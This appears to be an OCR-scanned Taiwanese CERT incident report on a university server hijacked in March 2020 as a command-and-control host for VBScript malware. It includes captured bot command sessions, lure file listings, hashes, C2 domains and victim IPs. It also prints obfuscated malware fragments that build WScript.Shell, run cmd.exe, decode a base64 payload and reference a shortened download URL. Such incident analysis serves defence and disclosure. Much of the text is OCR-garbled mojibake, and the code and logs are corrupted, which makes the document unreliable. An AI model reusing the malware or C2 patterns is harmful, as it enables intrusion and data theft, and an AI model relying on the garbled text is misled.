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N7 TANet Computer Emergency Response Team

- NER§A

1. £ 2020/03 TACERT £ £ ¢ 2% -7 3 405 5 & IP:140.X.X.22(f #- 22 2 )%
Ry A IR =X

2. mE S BACHh T F VR 2 AR u AR R £ A REEL R
621 rBERVBScript 623 Fehifpo XTI HIPEHE VB
Script %ra ~ 2= = Password.txt ~ &P F 3 &4F TP F S8~ v B2 s g0

AT RS et ) g % o

B ]
‘ LUENWAEERDPH RHELA22E# @

2.5 Aedit.phpit
C\xampp\htdocs

BE 4 FEENTemp\3EREREE

=

3.EABEBVB Script 2 |

TERER :
S EIES A2 T MIPE AN B ISH CAWindows\Temp\3 !
6. BHIEE N2 MIPELE pOST :

7.B{8VB Scriptia S =& 1

P 8.BTHE22 EHILFIAOVB Scripthl & §
¢ 9. 17Password.txtEIXbox.Ink :
10 SRR EFEMES TN SN, =

HTFTE, cscript.exe {RANDSTR}vbs,
228l wscript.exe {RANDSTR}.vbs

11.3& 4 http://140.x.x.22/edit?topic=sxxxx

12.814T{RANDSTR}.vbs ' POST
| EESEETHEMENTPNZFEENG22TH '

P13 B ENS TS EREE RN IIXbox Ink. |
: EA, RIfflERXbox.Ink g

3. 57 f%22 3 4%1F L ¢ #=1(C2 Server)g? Botmaster ~ Bot 2 ¥ e (7 5 0 %t

AT REendt & R IRA AT ¢

g ANES B
1. 'FT Lo K 22 A el p AE Iﬁ,’ﬁ = i IP(IP:61.X.159.176 ~ 51.X.163.54 &

140X X97)4F $ i 5022 A 4% > # ¢ IP:51.X.16354 5 % i B¢+t fIpEen P -
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N7 TANet Computer Emergency Response Team
Top Hosts
Host Country Hits | Visitors | Bandwidth (KB)
1 |61 159176 | hEE=E || 4.791 177 9,11
11 | 51 163.94 tedlls || 2,730 76 4,086
20 | 140. a7 HEH 956 49 0,422
2. tthil 22 A HPEE M A& Cilwinodws\Temp\3 p § 3 3R % > & B TR &
#%3 VB Script 4§ % -
| > THE > FHEEH (C) » Windows > Temp > 3 v O  EE:3
Teovid 1devguide 1JpSalary2020
Tnewpolicy 1profit 1risk2020
Triskcheck 1salary2020 bguidecn
blocklancer_info bonus_feb bonusm
candidate_jobs_mac candidate_jobs_pwd devguide_sbi
devguideline far fidelity_job
fsecure interview interview_feb
InvLoi_Mar it_integrators job_feb
jpsec jst_termsheet LOG
mysal neoguide newproject
okex_rep pdevplan personal_request
personal_request_cn profcn profdist
profitloss profits_feb projects_briefing_mac
projects_briefing_pwd proreport riskass
rreview sal2020 sec_issue
secriskman vceamember [ bekip.dat
[ bekurldat & | cfg.ini [] emd_list.dat
Z)Inkvbs Z)mainvbs 4] surlinf
=l # N 22 ] # 24 Z =Xkl K ¥-A i
3FR A4k F EAVBYHrAehI B > HY 5255 FAA 5 winapp.vbs

£ ewinapp.vbs & f£% > @ %

=

F

B S bR N B AT & G o

winapp.vbs & vceamember ~ secriskman ~ sec_issue ~ sal2020 - proreport ~
projects_briefing_pwd ~ projects_briefing_mac ~ profitloss ~
profdist ~ profcn ~ personal_request ~ pdevplan ~ okex_rep -
newproject ~ neoguide ~ mysal ~ jst_termsheet ~ jpsec -
it_integrators -~ interview ~ fsecure ~ far ~ devguideline -
devguide_sbi ~ candidate_jobs_pwd ~ candidate_jobs_mac ~
bonusm ~blocklancer_info ~ bguidecn ~ 1salary2020 ~ 1riskcheck
1risk2020 ~ 1profit ~ Lnewpolicy ~ 1JpSalary2020 ~ 1devguide ~

1covid

ewinapp.vbs

csapp.vbs £ rreview

ecsapp.vbs
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\Irr TANet Computer Emergency Response Team

& 2
AN

|4

A

ehelp.vbs &7

help.vbs bonus_feb

winapp.vbs ~ m.doc
£ ewinapp.vbs

personal_request_cn

winapp.vbs -
m.doc ~ n.doc £

fidelity_job

riskass ~ profits_feb ~ job_feb ~ InvLoi_Mar ~ interview_feb -

ewinapp.vbs
AT R endte B> § X T F 1837 POST /edit i s pr » #7325 ¢ %
#(22 i $8)h %30 &2 C:\Windows\Temp\3 p winapp.vbs £ ewinapp.vbs 7 B >

BAREPN FFEL

12 P:104.X.28.34 %4 22 1 %34 POST /edit i 2 5 t(4c~ B)) > 3% IP @ %

I s=0a8mieF&o=ts&p=cfq.ini%7CLOG%5Chlocklog.dat%7Csec_issue%5Cewi
napp.vbs%7Csec_issue%5Cwinapp.vbs | & S 7 o &R

LOG\blocklog.dat ~ sec_issue\ewinapp.vbs £2 sec_issue\winapp.vbs %

G

RSA Security Analytics Reconstruction for session ID: 613535 ( Source 104.

28.34 : 51203, Target 140.

Time 3/26/2020 9:57:16 to 3/26/2020 9:57:18 Packat Size 39,601 h\,m Payload Size 36,589 bytes

POST .‘erllt HT[P;’] .0

Host: 140. .22

Content-Type: application/x-wyv-form-urlencoded
Content-Length: 96

| > R > FEER (C) > Windows > Temp » 3 > LOG

1]

" S am 3

>

blocklog.dat

s=0a8mieFlo=tsdp=cfg.in1%7CLOGAS5Chblocklog.dat%7Csec_issue@SCevwinapp .vbs%7Csec_iss
ue%SCwinapp .vhs

2020/3/26 T4 03:56 DAT 8% 406 KB

HTTP/1.1 200 OK

Date: Thu, 26 Mar 2020 01:49:39 GHT
Server: Apache/244.37 (Vin32) OpenSSL/1.0.2p PHP/5.6.40
[[ > =& > T@@a () > Windows > Temp > 3 5| H-By: pAP/5.6.40
- b

BHEs EE

=%

&) cfgini 2020/3/26 T 0354 AmEE 23 KB

AATADNOe 1DfSwolHgwAAOZYAAANAAAAT2Z 0L n] vae 1cHY /qShI+H2n+A2 rS3Hk180Y2 12N 3
L3GIPtH14w8OnHNXSC49yTukWRS 1WCL U1 1dVXYVd 3X+q5q0ZnuwDaQUVT7 JkITO/ /5s1ml
£2£7 1+aptoLnGF ryTp28qtF416NonlLV/q4b2W6SZ 1 snky jTFFUS0] /ThAI0 1 +BBUSeZ2f8 1
FASwON2yf3e77x1 8411 /qV4nH 1cwP37SbEN3NULYOy0 1 Ykuu+¥VLY [05574x0kD/ jREGHDTw
kOomxd0tg Y IXxfQVQxNA3ZWV1Xgea9la IFfFSEuDBPYsg¥+/xLevePDP 1 DdwPAzgnkdZ /cy]
d/Ten+he0fDap¥ SRA+E 1ah | +¥ZE0Tke T1PELD 1 h3nZa t4x4

| > Ta > TEER(C) > Windows > Temp > 3 > sec_issue|

%

%) ewinappvbs 202
%) winappvbs  2020/3/26 L

% 1P:104.X.28.34 #4 {7 POST /edit p# i 1% % #c " S=0a8mieF&o=hash&p= -

¢ odgrb v i CA\Windows\Temp\3 p #75 #h % 7 £ 2 & 4% <7 HASH & -

U
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RSA S

ecurity Anal
Time 3/26/2

ytics Reconstruction for session ID: 382722 ( Source 104.
Packet Size Payload Size 6.

POST /edit HTTP/1.0
Host: 140. 22
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

s=0a8nieF&o=hashép=

HTTP/1.1 200 OK

Date: fed, 25 Mar 2020 18:10:57 GHT
Server: Apache/2.4.37 (#in32) OpenSS!
X-Powered-By: PHP/5.6.40
Content-Length: 6070

Connection: close

Content-Type: text/html; charset=UTF

main.vbseb6bd551eScdaaf0ba585cf 1fffh
bekip .datdab293613cdd5de95991bc09c52:

1115k2020\winapp .vbsbbc65f69f5801310

.28.34 : 49803, Target 140.

cfg.inieald8421b221bc7ab76b3d63024dbbc2
Ink.vbs516ab9c8ba7469d57{65¢29602d 13246

surl.inflcebd75311643e6d582¢cc6974aaTeabc

bekurl .dat160587b580b8b302d6b42832701 1 1674
1JpSalary2020\evinapp .vbs7af5¢992a2acaf033824ee73fed3b62d
1JpSalary2020\vinapp .vbs6054bd0bb15326d 1c92a082a91efd 138
lcovid\ewinapp.vbs7766117addb685330298235a9b3af21c
lcovid \vinapp .vbs893fc3£23d923b985b775136e6a58562
ldevguide \ewinapp.vbs93224a88a05ed9bbd9cf4194Fa09f7c2
1devguide \winapp .vbs862a80312a5d9264e9e66cb987dc0616
Inewpolicy\evinapp.vbse108c79321e710¢10d9196318¢cad977
Inewpolicy\winapp.vbsc9d3ad2716£93b85¢077b9bcd8e0ccSS
Iprofit\ewinapp.vbselSec9fc070cabe76a18c9df£740637h
Iprofitiwinapp.vbsOac5h9f 194a6b13bed02e20743b51fe0
11isk2020\ewinapp .vbsld7ce14cb24a33a0012f 33557436349

1riskcheck\evinapp .vbs76fc6b68b52822ch81d73£73b8baec367
Iriskcheck\vinapp .vhs7£83£832b3£2063814cc06b2375d44be

L/1.0.2p PHP/5.6.40

8

ffal
£3719

1b9efd565afa04b3

5. % IP:51.X.163.54 #4 {7 POST /edit p¥ i i " S=

Al e sk v i C:\Windows\Temp\3\fidelity_job p #73 4% % 7| %

FTREB S pER o d o IP:51.X.163.54
FRENFROELS - BREZIPRNGPE

RSA Security Analytics Reconstruction for session ID: 75062 ( Source 51.

0a8mieF&o=Is&p=fidelity job -

&4 Post @i $¥c B 3

ki IP

.163.54 : 52724, Target 140.
505 bytes

Time 3/25

2020 17:44:27t0 3

25/2020 17:44:27

Packet Size 1,045 bytes Payload Size

POST /edit HTTP/1.0

Host: up.di CX.COm

Content-Type: application/x-www-form-urlencoded
Content-Length: 29

s=0a8nieF&o=1s&p=fidelity_job

HTTP/1.1 200 OK

Date: Wed, 25 Mar 2020 09
Server: Apache/2.4.37 (W1
X-Powered-By: PHP/5.6.40
Content-Length: 141
Connection: close
Content-Type: text/htnl;

ewinapp.vbs812020-03-25 0

:36:50 GMT
n32) OpenSSL/1.0.2p PHP/5.6.40

charset=UTF-8

1:32:50

n.doc1387692020-03-24 10:53:28
n.doc1408172020-03-24 10:53:28
winapp.vbs24012020-03-24 10:53:28
| > B > FEEE (C) > Windows » Temp > 3 > fidelity_job v D
E18 fysE £z Fih
%) ewinappvbs  2020/2/25 T4 06:20  VBScript 5418 3KB
m.doc 2020/3/24 TF 06:53  Microsoft Word 97 - 2003 30 fF 136 KB
n.doc 2020/3/24 T 0853 Microsoft Word 97 - 2003 3 138 KB
) winappvbs  2020/2/25 T 06:20  VBScript 57 3KB
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i 2020/03/25 14:22~2020/03/26 11:12 4= R4 F + 3 441 & IP 2 2 3,515

=cif § 22 4 0 8080port i s 0 @ 22 A e N L a3 19F o HP g

SRR G 0 AW

.A

T Baen s oAEE : up.digxxxxxx.com (301 =x & ) ~

name.ownxxxxx.me (217 =t & 4t) ~ upload.gdrxxxx.best (173 = if &) -

docs.gdrxxxxxxxx.top (163 =x & #) ~ client.cloxxxxx.space (96 =« i& 4%) o
4~ Hostname Aliases (19 items)

up.dig .com (301} - name.own .me (217) -
upload.gdr ~ l.best (173) - docs.gdr .top (163) -
client.cla .space (96) - down.one XYZ (B7) -
onedrive.one .com (33) - www.clo .club (11} -
st.dec site (5) - dn.1dr work (5) -

client.goo .online (5) - gdrive.sha XYz (4] -
WWW.MIC Jdife (2) - www.bai .com (2) -

mail.gdr = .xyz (2) - down.dri XyZ (2) -

up.dec .site (1) - drives.goo dive (1) -

blog.clo .space (1)

Wate MG 15 BRE IP ¥ 5 716 VB SCript e A o # % 857 Ak

L F 224 HYe § 3BIPRESS ¢ 3
v AIREIP 3
P R TR T F e pdt IP AR E

A LL'?
7 VB Script e07 5 ¥ it &_7ip]3# VB Script endd 7k iR o d 1%

VB Script {5 #-¢ = @ i

7o efe B T AL 22 4 #5( A TACERT 2020 £ 4 * Bt RI#ET]) > £ 7
izd IP & Botnet ¥ ¥ i ¥ 7 Bot e0d ¢ o
IP Country Web Site Date/Time

196.X.203.36 AN Upload.gdrXXXX.best:8080 2020/03/25 15:23

202.X.16.104 R Name.ownXXXXX.me:8080 2020/03/26 9:20

51.X.163.54 movallies Up.digXXXXXX.com:8080 2020/03/25 17:46,17:51,18:19,22:50
St.decXXXXX site:8080 2020/03/25 18:22

118.X.196.225 HA Up.digXXXXXX.com:8080 2020/03/25 18:17
St.decXXXXX.site:8080 2020/03/25 18:19

185.X.107.236 | FLHIF] Up.digXXXXXX.com:8080 2020/03/26 2:42

34.X.244.255 2E[H] Docs.gd rXXXXXXXX.top:8080 2020/03/25 23:22

35.X.210.173 2E[H] Docs.gd rXXXXXXXX.top:8080 2020/03/25 23:23

185.X.9.72 it Docs.gd rXXXXXXXX.top:8080 2020/03/25 23:25

195.X.49.191 pdral Docs.gd rXXXXXXXX.top:8080 2020/03/25 23:40

162.X.123.176 | Z£H Docs.gdrXXXXXXXX.top:8080 2020/03/25 23:35

185.X.221.96 FUHR 4T Docs.gdrXXXXXXXX.top:8080 2020/03/26 1:00

185.X.222.56 EaVA; ke Docs.gdrXXXXXXXX.top:8080 2020/03/26 7:17,7:18,7:24

64.X.89.10 i Client.cloXXXXX.space:8080 2020/03/26 10:32

196.X.203.102 |+ www.cloXXXXXXX.club:8080 2020/03/26 8:54,8:57,8:58

104.X.28.178 FE[H] Down. driXXXXXXXXXX.xyz:8080 | 2020/03/25 16:10

IP:51.X.163.54 - &

,b&—a\am !7':’ §
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RSA Security Analytics Reconstruction for session ID- 5652 ( Source 196. .203.36 - 42752, Target 140. .22 - 8080)
Time 3/25/2020 15:23:27 to 3/ 2020 15:23:31 Packet Size 3,648 bytes Payload Size 3,046 bytes

GET fedit7id=k501lz/leMvAPN /vpLlbe JTOynlwsNDnal s3HxMhn / VO fEPxOXnD R2BQN ¢ R2BCZPka R 1S A
oHGdk%E2Bkb6qLERGwzzKDF rQ%3D%3D HTTP/L.1

hoecept: ¥/¥

bhccept-Language: en-US,en;q=0.7 ,ko;q=0.3

U&-CPU: aMDG4

bocept-Encoding: gzip, deflate

lser-hgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows HT 10.0; WinB4; x64; Tride

ot/7.0; NET4.0C; .NET4.0E)

Connection: Keep-Alive

Host: upload.gdr Lhest 8080

HTTP/1.1 200 OK
Date: Wed, 253 Mar 2020 07:15:50 GNT
Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40
¥-Powered-By: PHP/5.6.40
bAccept-Ranges: hytes
Content-Length: 2375
Eeep-Alive: timeont=5, max=100
Connection: Keep-Alive
Content-Type: applicationf/octet-strean

<script langnage="vhscript's>

jiavhjvsc="1edbxdkp"

p="%TEMPRY"&"Pass"&" word "&" . tx1"

wll="i"&"pt"

lo="CMD.EXE /C"&" """&"ECHO newprofits>"&p&%"GNOTEFAD .EXE "&p&"&DEL “Zp&""""
wll="ws"&"cr"&wll

function dhsc(tds)

with CreateObject{"Msxmnl2.D0MDocument").CreateElenent{ "mic"
DataType="hin.basefi4"

LText=tds

dbsc=appc (NodeTypedValue)

end with

end function

red="hpd1"

wll=wll&" . "&"she"

htcs="ftcvf"

ner="https:/fhit. 1y /39K Ca"

wll=wll&"11"

set wish=Createlbject(wll)

wish.Run In,0,false

lo="b24gZ¥ Iyb3lzcnVzd 11165 1eHONCn JhbuRvhif 16Z00Kal T2 ¥ 1N jenlwdCoBend 1b¥ Yud KMu TG YuZ
3RaP jAgdGh lbgOECURUUDO 1aHQ 1 DQo JdXUQSFROT 1 JOcDat Ja vl InVIN jonlwdCoBond 1hW Vud KM u S X
R1bSgwkOOKCHNwY j01V21uSHROC I & " NCg ] jh2 197291 11 JSZKF 1ZXNOL 1 INCg1 3b21911dpbkhOdHis
JiTulHiZjh2INCe] jb2197201 T T1L jEiDQole2V0IHd oc j I DenFhd GVEYup 1 T300T29 iKQOECHRv [Hd oa
0 ] THR oAU o b T-HMOT IR T oNEr T Od =M Tl Ten R P TN0a TP VR Ve 1 ISV P Ta I aRoe T T

W
|

8. Bzt IpF IP:51.X.163.54 g s 17 5 > HFIL T ¢ 156 Post i S ¥ 0
% 7 bekip.dat ~ fidelity_job\winapp.vbs ~ res\log.dat--- % #§ % » = * Post ! i#
bckurl.dat ~ fidelity job\ewinapp.vbs ~ fidelity job\winapp.vbs --- % 4 % o j&
fidelity_job\winapp.vbs \ % # Jh & @ it 22 A B BE L2 T F A B VB R de
oo Pt agh k & C:\Windows\3\ & FAL & p {8 o d L JIpE IP e

MRF LRI IP TR S5 E kR IP o
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RSA Security Analytics Reconstruction for session ID: 75831 ( Source 51 N 52832, Target 140.

Time 3 46:04 10 3/2 20 17:46.05 Packet Size rayloaa size £,/ /0 by
" POST /edit HTTP/1.0 o
Kost: up.d cx.com
Content-Type: application/x-wwv-forn-urlencoded
Content-Length: 27

s=0a8nieF&o=getdp=bckip.dat

HTTP/1.1 200 OK

Date: Wed, 25 Mar 2020 09:38:27 GNT
Server: Apache/2.4.37 (¥in32) OpenSSL/1.0.
X-Povered-By: PHP/5.6.40

Content-Length: 2407
Connection: close
Content-Type: text/html; charset=UTF-8

66.249.

66.102.
173.255.233.124
139.59.17.214
107.178.194.235
185.183.98.107
148.251.45.185
73.189.35.88
213.32.113.66
54.161.92,131
2.86.168.167
217.132.34.129
104.42.198.99
104.197.95.127
59.115.39.76
220.133.114.83

2p PHP/5.6.40

.22 : 8080) 1‘

RSA Security Analytics Reconstruction for session ID: 75101 ( Source 51.° .163.54 : 52729, Target 140.

Time 3/25/2020 17:44:30 to 3/25/2020 17:44:31 Packet Size 3,414 bytes Payload Size 2,760 bytes

POST /edit HTTP/1.0
Host: up.di cx.com
Content-Type: application/x-wwv-form-urlencoded
Content-Length: 43

s=0a8nieF&o=get&p=Ff1del1ty_job%5Cwinapp.vhs

HTTP/1.1 200 OK
Date: Wed, 25 Mar 2020 09:36:53 GNT

X-Powered-By: PHP/5.6.40
Content-Length: 2381

Connection: close

Content-Type: text/html; charset=UTF-8

<script language="vhscript">
{RANDSTR }sc="{RANDSTR }"
p="%TEMP%\"&"Pass"&"word "&" . txt"
wll="1"§&"pt"

wll="ws"&"cr"&wll

Server: Apache/2.4.37 (¥in32) OpenSSL/1.0.2p PHP/5.6.40

In="CMD.EXE /C"&" """&"ECHO riskreview>"4p&"&NOTEPAD.EXE "&p&"&DEL "&p&""""

8080)

9. d 4F& & 47+ 41pF IP:51.X.163.54 shnud 4 17 5 > 3 3% IP & 2020/3/25 14:51

~2020/03/26 9:16 #p ¥ £ $+ 22 3 #3850 311 =% o J BLPF R R A 4 B 22 2

hie st W & £ 4417 242 = Put #2 37 = Get # it o

wm &) Service Type (2 items)
==/ HTTP (279) - OTHER (32)

4~ Hostname Aliases (4 items)
up.dig .com (161) - name.own .me (16) - onedrive.one

4~ Source IP Address (1 item)
51.70.163.54 (311)

4~ Destination IP address (1 item)
140. .22 (311)

4~ Action Event (2 items)
put (242) - get (37)

® ¥ ¥ *

.com (11) - st.dec

.site (3)
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10. & 2020/03/25 17:44~2020/03/26 2:55 #p & » v | pF IP:51.X.163.54 — & ¥f 22
A 4 (4 B oup.digXXXXXX.com) it (7 F 5B (7 5 4§ 161 = o o 1t i IP
$22 3 4718 i) F P 0u4ip] 3% IP & Botnet P 4 i Botmaster 14

g o

Displaying 1 - 20 of 159 |
Lt &Ebckurl.dat
Flhfidelity jobE#IABEAS
HiSfidelity jobAAMwinapp.vbs
L Bewinapp.vbsZEfidelity jobZE i3

Time
2020-Mar-25 17:44:11

Time
2020-Mar-25 18:22:06

Displaying 21 - 40 of 159 I
miFfidelity_jobAMewinapp.vbs
FlhresEREANEEAS
ERlEAMlog.dat
#2EAMlog.dat

2020-Mar-25 17:44:27 2020-Mar-25 18:22:31

2020-Mar-25 17:44.:20 2020-Mar-25 18:22:34

2020-Mar-25 18:22:45 il fRresE

2020-Mar-25 17:44:34

2020-wr-25 17400 B f8hckip.dat 2020-war-25 182248 Bl iHires ERI A AE R, A Z
2020-Mar-25 174617} fibckurl.dat 20z0-war25 182415 BiliHres AN MIERAS

2020-Mar-25 17.45:58  Fi| iHifidelity_jobERRAEEAE
HuiSfidelity jobA#Swinapp.vbs

L Ewinapp.vbsEfidelity_jobZE i3
+fBewinapp.vbsEfidelity jobE %
FlitiresERRAERAT

i Eif#AYlog.dat
PRAMERAS
HiSresEHIZ&AAYIog.dat

2020-Mar-25 18:24:19 LAY log.dat

kR res E 1 2 M A% 0g.dat

Lt {#bckurl.dat

L {#bckurl.dat

HfSfidelity jobMAYewinapp.vbs

L {#Eewinapp.vbsZEfidelity job&Eii
FBwinapp.vbsZEfidelity_job &3k
FlhrreviewERI AR EAS

S rreviewE M LA ecsapp.vbs
LF{Becsapp.vbsErreviewEid 5
HiSjpsecE R A Awinapp.vbs
MiFrreviewE 1 # AR csapp.vbs
F{Bcsapp.vbsZErreviewZH 138
FltresERRAEEAS ABER

2020-Mar-25 17:47:02 2020-Mar-25 18:24:28

2020-Mar-25 17:47:11 2020-Mar-25 18:27:20
2020-Mar-25 17:47:18 2020-Mar-25 18:27:31
2020-Mar-25 17:30:24 2020-Mar-25 18:27:35

2020-Mar-25 17:50:28

2020-Mar-25 18:27:57
2020-Mar-25 17:30:32 2020-Mar-25 18:28:02
2020-Mar-25 17:50:35 2020-Mar-25 18:28:12
2020-Mar-25 18:01:35 2020-Mar-25 18:28:15

2020-Mar-25 18:02:02

LE{8bckurl.dat
L f&bckurl.dat

2020-Mar-25 18:28:44
2020-Mar-25 18:02:29 2020-Mar-25 18:30:50

2020-Mar-25 18:03:02 2020-Mar-25 18:31:18

2020-Mar-25 18:03:08 2020-Mar-25 18:31:28

2020-Mar-25 18:03:20

Lt{&bckurl.dat

2020-Mar-25 18:35:05

(1)+* FipF 1P:51.X.163.54 — & 7] res T4 & p

7o kAR AT G BATD

log.dat 4% - &3 > RIP~i¥ log.dat 4% °

Time Displaying 61 - 80 of 159

2020-Mar-25 23:14:19

Time Displaying 41 - 60 of 159

2020-Mar-25 18:35:08
2020-Mar-25 18:38:20
2020-Mar-25 18:38:24
2020-Mar-25 17:43:58
2020-Mar-25 17:46:08
2020-Mar-25 18:01:49
2020-Mar-25 18:24:37
2020-Mar-25 20:05:48
2020-Mar-25 22:36:52
2020-Mar-25 22:49:18
2020-Mar-25 22:52:52
2020-Mar-25 22:52:56
2020-Mar-25 22:52:59
2020-Mar-25 23:01:23
2020-Mar-25 23:01:26
2020-Mar-25 23:01:29
2020-Mar-25 23:13:59
2020-Mar-25 23:14:02
2020-Mar-25 23:14:05

2020-Mar-25 23:14:15

FltresER A EARE ABSZER
FlresER KA EARE ABZER
FlresER KA EARE ABZER
W Sbckurl.dat

B Sbckurl.dat

B Sbckurl.dat

B Sbckurl.dat
FldresERLAEERE ABZER
FldresER LA EARE ABZER
FldresERLAEEARSE ABSZER
FldresER LA EARSE ABER
FldresEREAREARS
BFres&E & Alog.dat
FldresER LA EARE ABER
FldresEREAEEARS ABER
FldresEREAEEARS ABZER
FldresEREAEEARS ABZER
FldresEREAREARS
WiFres&ER#Alog.dat
FlresEREAEEARS

2020-Mar-25 23:28:22
2020-Mar-25 23:43:55
2020-Mar-25 23:43°59
2020-Mar-25 23:37:25
2020-Mar-26 00:59:21
2020-Mar-26 00:59:24
2020-Mar-26 00:59:28
2020-Mar-26 00:59°33
2020-Mar-26 01:00:05
2020-Mar-26 01:00:09
2020-Mar-26 01:00:14
2020-Mar-26 01:00:22
2020-Mar-26 01:00-39
2020-Mar-26 01:00:43
2020-Mar-26 01:00:48
2020-Mar-26 01:01:12
2020-Mar-26 01:08:31
2020-Mar-26 01:14:49
2020-Mar-26 01:14:52

B iSresE %A log.dat
FlresERRAERAE RAEES
FlhresERRAERAST ABER
FhresERRABEREAT ATED
HRFLOGE M IEAblocklog.dat
FresERRAEEAE ABES
FresERIRAERANE
HiSresE#2&Alog.dat
FhresERRABEEAT ATER
FhresERRAEZEAT ATEH
FlresERRAEZANE
BiSres&E#l & Alog.dat
FlitiresERRAEEANS
FlitiresERRAEEAS

B iSresEREAlog.dat
FlresERRAEZEAS
BiSresERl %k Alog.dat
FhresERRABEREAT ATER
FlitiresERRAEENS
HiSresE#EMAlog.dat

(2)v* F1pF IP ¢ 2~tF beckip.dat ~ + i@ bekip.dat £ bekurl.dat -

2020-Mar-26 01:29:08

2020-Mar-26 01:30:41
2020-Mar-26 01:31:13

BV #Sbckip.dat

2020-Mar-26 01:30:05

L+ &bckip.dat
Lt {&bckurl.dat

(B)+- JUp= IP € B~1% res Tkl & bas 4~ F & T4 & VBS ¥rafh&r P @ igi




11.

VBS %k & i 7 ok I A4

2020-Mar-26 0101101 HyiSresE T 32 A 185.X X 96R3baslz
2020-Mar-26 02:44:37  FR{GrreviewE i} & A fYecsapp.vbs
2020-Mar-26 02:45:12 | ffecsapp.vbsErreviewE 14k
2020-Mar-26 02:45:24 5| H|risk2020EMRAEEZTANE
2020-Mar-26 02:45:28  HR151risk2020E 14 38 A A9winapp.vbs
2020-Mar-26 02:47:26  FR{GrreviewE R A AYcsapp.vbs
2020-Mar-26 02:48:00 | {Ehckurl.dat

2020-Mar-26 02:49:03  FR{GrreviewE A AYcsapp.vbs
2020-Mar-26 02:49:11 & csapp.vbsZErreviewE i} 3&

(4)v F1pF IP fB {8 P~ 17 log.dat {3 *’P{H'J“,f— EEARcres TR A MRS X K-
log.dat + & % res F#L % o v 4 P~7 bckurl.dat ~ cfg.ini &2 LOG/blocklog.dat

L4 -
Time Displaying 141 - 159 of 159
2020-Mar-26 02:50:52 J:{i bckurldat
2020-Mar-26 02:54:05 §utﬂres§}‘|’:§|3§7\]ﬁ?7§mm§
2020-war-26 025408 F{8res EHIBEMI0g.dat
2020-Mar-26 02:54:12 H:H”B%resg}-l-:\:lyz
o 20012034 MBLOGRM ablockiog.dat
2020-Mar-26 02:54:23 §Jﬂjﬁﬁﬁg+4xﬁ*®x
2o20- w25 023420 3 ires B RPN, B EE
2020-Mar-26 02:54:31 J:{E;logdatzﬁt resg}-ﬁqm
2020-Mar-26 01:29:13 H‘Eigbckurldat
2020-Mar-26 02:55:57 J:{icfgini
2020-Mar-26 01:30:50 H‘Eﬁ% bckurl_dat
2020-war-26 013136 R 3LOG E#FEAblocklog.dat
2020-Mar-26 02:47:50 H‘Eﬁ% bckurl_dat
2020-Mar-26 02:50:47 H‘Eﬁ% bckurl_dat

v IP:51.X.163.54 ¢ % i Post i# % list s o FF2ipy @ res 42
NFEHNF o TR 221w B |P185X22196m'afs—bas;}§,ﬁ

log.dat 4% gt R 17 5 o

RSA Security Analytics Reconstruction for session ID: 293610 ( Source 51.0 .163.54 - 49406, Target 140. .22 : 8080

Tlme 3/26/2020 1:00:48 to 3/26/2020 1:00:49 Packet Size 1,130 bytes Payload Slze 530 bytes
ol oo o o . = o

POST /edxt }{TTP!l 0

Host: up.d X.Com

Content-Type: application/x-www-form-urlencoded
Content-Length: 20

s=0a8nieF&o=1sdp=res

HTTP/1.1 200 OK

Date: Wed, 25 Mar 2020 16:53:11 GMT

Server: Apache/2.4.37 (¥1in32) OpenSSL/1.0.2p PHP/5.6.40
X-Powered-By: PHP/5.6.40

Content-Length: 175

Connection: close

Content-Type: text/html; charset=UTF-8

185.  .221.96_168245372_20200325165306 .bas315052020-03-25 16:53:06
185. .221.96_348544751_20200325165306 .bas315052020-03-25 16:53:06
log .dat6222020-03-25 16:53:06

i R B &2 ¢ < (TACERT)
N7 TANet Computer Emergency Response Team




R 4 i 5 i kaE ¢ o (TACERT)
~w#” TANet Computer Emergency Response Team

125 et ¢ G 5 B % K IP:104.X.28.74 £ 104.X.28.34 ¥ g3+ 22

o

A Breszip 4 0 #He ¥ g PRz reszip p F bas 42 log.dat - res.zip

FRXIAPrBoFTAbasH S BERIP BBEFRL AR FE R
(RS e

HTTP (253)

104. 28.74 (191)-104.  .28.34 (62)

140. .22 (253)

put (253)

application/octet-stream (253)

<none> (253)

res.zip (253)

4 Service Type (1 item)

4~ Source IP Address (2 items)

4~ Destination IP address (1 item)

4~ Action Event (1 item)

4+~ Content Type (1 item)

4~ Extension (1 item)

4~ Attachment (1 item)

TRl N5 P e d IR Tres\196.X.203.36 | & % & “rif ¥ i 716 VB Script

115 BRI IP 2 - > Flpt ¥ oudadrreszip p 7 F X T A PnFI o

bl
o

RSA Security Analytics Reconstruction for sess 4 ( Sour 3 74 - 58467, T 40. .22 8080)
Payloa
POST fedit HTTP/1.0 ~
Host: 140. 22

Content-Type: application/x-wew-form-urlencoded
Content-Length: 15

s=0admiaFlo=1og

HTTP/1.1 200 OK

Date: Wed, 25 Mar 2020 Q7:16:20 GHT

Server: Apached2.4 .37 (Win32) OpenSSL/1.0.2p PHP/S.6 .40
X-Powered -By: PHP/5.6 .40

Accept-Ranges: hytes

Content-Length: 9427

Content-Dispostition: attachment; filename="res.zip"
Content-Filelame: res.zip

Connection: close

Content-Type: applicationfoctet-strean

PE

2P @OFG O/ res\ 106, L203.36_313814222_2020032507 1600 . basiBos 9 : 9  &;:0580 ;5 &
GElToExE 81 vt H#EE et Nés ttthifiiée 5iEe & No[HE. ¢ i HEEO

|EEEEER @+ (3 BHEHGS UEE DLBE S VIRA ] BWeTieee SRIT ELHLYe LEMCSE 66

[hE121 9196/ @-E5 "0 BEEGHIR: B /66 797 ‘@ off@r Qi P ¥ $ExTé<

10



A 1 sy e ge s 858 ¢ o (TACERT)
‘r' TANet Computer Emergency Response Team

RSA Security Analytics Reconstruction for session 1D: 3
7!3713 ] 12357 to 3/ 2_.2070 15:23:58 Packet Size 11,095

Time 3/25

Eoy

& Beo MIEaFS?
Di9SEE VS 06=-6
- NN, E o9

]

R&%j‘ué %r&fﬁ

*Szma ﬁ&vn@f@é E& ¢ B155@; WiBeee BvHel ve+e  HRE ~
GO1EOIL TTBINRE <1 641T417] zEe+f He | 15 BEGNELOWExLdh
v E eMB. Bl W zleér & -00-REEyIE- TIMIAF 6«6 A

16 lBver +

& BN F 0ELe.;

7664 ( Source 104. .28.74 1 58467, Target 140.
I:n,tef\ Payload Size 9,877 bytes

I (R7-£1406 EH  euTlE-HE 6 16 RES

91)62% ' 10> rOOIE o EHIIBLE 4 5o

:wmapp vbs . F1EE

&= nl [09)@ 509:€ 1LOH -)E BRER/QGCe "hEe FrEE: B -He niFife &
